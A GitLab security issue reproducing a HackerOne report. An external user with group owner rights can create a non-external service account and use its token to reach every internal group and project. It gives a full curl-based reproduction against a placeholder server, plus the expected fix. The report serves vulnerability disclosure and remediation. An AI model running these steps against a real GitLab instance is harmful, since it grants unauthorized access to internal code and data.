Skip to content

Privilege escalation of "external user" to internal access through group service account

Please read the process on how to fix security issues before starting to work on the issue. Vulnerabilities must be fixed in a security mirror.

HackerOne report #2040834 by joaxcar on 2023-06-27, assigned to @kmorrison1:

Report | How To Reproduce

Report

Summary

The new service account feature is subject to an similar issue as reported for project access tokens previously.

If a user that has the status of external is given an owner role to any group or subgroup, the external user can escalate its privilege on the instance by creating a service account in that group. The service account will not be external and can thus be used to access all internal projects.

The old report regarding project access tokens is here https://hackerone.com/reports/1193062

It might sound odd to give an external user owner rights, but there is nothing suggesting against it in the documentation.

Steps to reproduce

Test on a self hosted server

Steps to reproduce:

  1. Log in as an administrator

  2. Go to https://gitlab.domain.com/-/profile/personal_access_tokens and create an access token for the admin

  3. Start up a terminal and create these two variables to be used in subsequent commands (replace url and <ADMIN_TOKEN>)

server_url='https://gitlab.domain.com'  
admin_token='<ADMIN_TOKEN>'  
  1. Use the admin token to create an external user and make a note of the created users ID
curl --request POST --header "PRIVATE-TOKEN: $admin_token" \  
--data "name=External User" \  
--data "username=external_user_01" \  
--data "external=true" \  
--data "skip_confirmation=true" \  
--data "password=Safepass001" \  
--data "email=external_user@example.com" \  
"$server_url/api/v4/users"  
  1. Add a shell variable for external_user (replace ID)
external_user='<ID>'  
  1. Use the admin token to generate an access token for the external user
curl --request POST --header "PRIVATE-TOKEN: $admin_token" \  
--data "name=external_token" \  
--data "scopes[]=api" \  
"$server_url/api/v4/users/$external_user/personal_access_tokens"  
  1. Add a shell variable for external_token (replace <EXTERNAL_TOKEN>)
external_token='<EXTERNAL_TOKEN>'  
  1. Create our first internal group and take a note of the group ID
curl --request POST --header "PRIVATE-TOKEN: $admin_token" \  
--data "name=internal1" \  
--data "visibility=internal"  \  
"$server_url/api/v4/groups"  
  1. Create our second internal group and take a note of the group ID
curl --request POST --header "PRIVATE-TOKEN: $admin_token" \  
--data "name=internal2" \  
--data "visibility=internal"  \  
"$server_url/api/v4/projects"  
  1. Add shell variables for group 1 and 2 (replace and )
group_1='<ID1>'  
group_2='<ID2>'  
  1. Add the external user as owner to internal1
curl --request POST --header "PRIVATE-TOKEN: $admin_token" \  
--data "user_id=$external_user&access_level=50" \  
"$server_url/api/v4/groups/$group_1/members"  
  1. Request a list of internal groups using the external accounts access token. Verify that only groups 1 is returned.
curl --request GET --header "PRIVATE-TOKEN: $external_token" \  
"$server_url/api/v4/groups?visibility=internal"  
  1. Use external users access token to generate a service account, take a note of the account ID
curl --request POST --header "PRIVATE-TOKEN: $external_token" "$server_url/api/v4/groups/$group_1/service_accounts"  

and add variable

service_id=<service account id>  
  1. Now run this command to create a token for the service account
curl --request POST --header "PRIVATE-TOKEN: $external_token" "$server_url/api/v4/groups/$group_1/service_accounts/$service_id/personal_access_tokens" --data "scopes[]=api" --data "name=service_accounts_token"  
  1. Add a shell variable for project access token (replace <SERVICE_TOKEN>)
service_token='<SERVICE_TOKEN>'  
  1. Request a list of internal groups using the generated service account token. Verify that all internal groups are now visible.
curl --request GET --header "PRIVATE-TOKEN: $service_token" \  
"$server_url/api/v4/groups?visibility=internal"  

How does it work today

External users (that owns a group) can create internal service accounts

How it should work

Service accounts created by external users should be made external

Impact

An external user can access all internal projects and groups. Thus leading to high information disclosure and ability to interact by issues. As the internal service account also have write access it can also interact with the internal content

How To Reproduce

Please add reproducibility information to this section: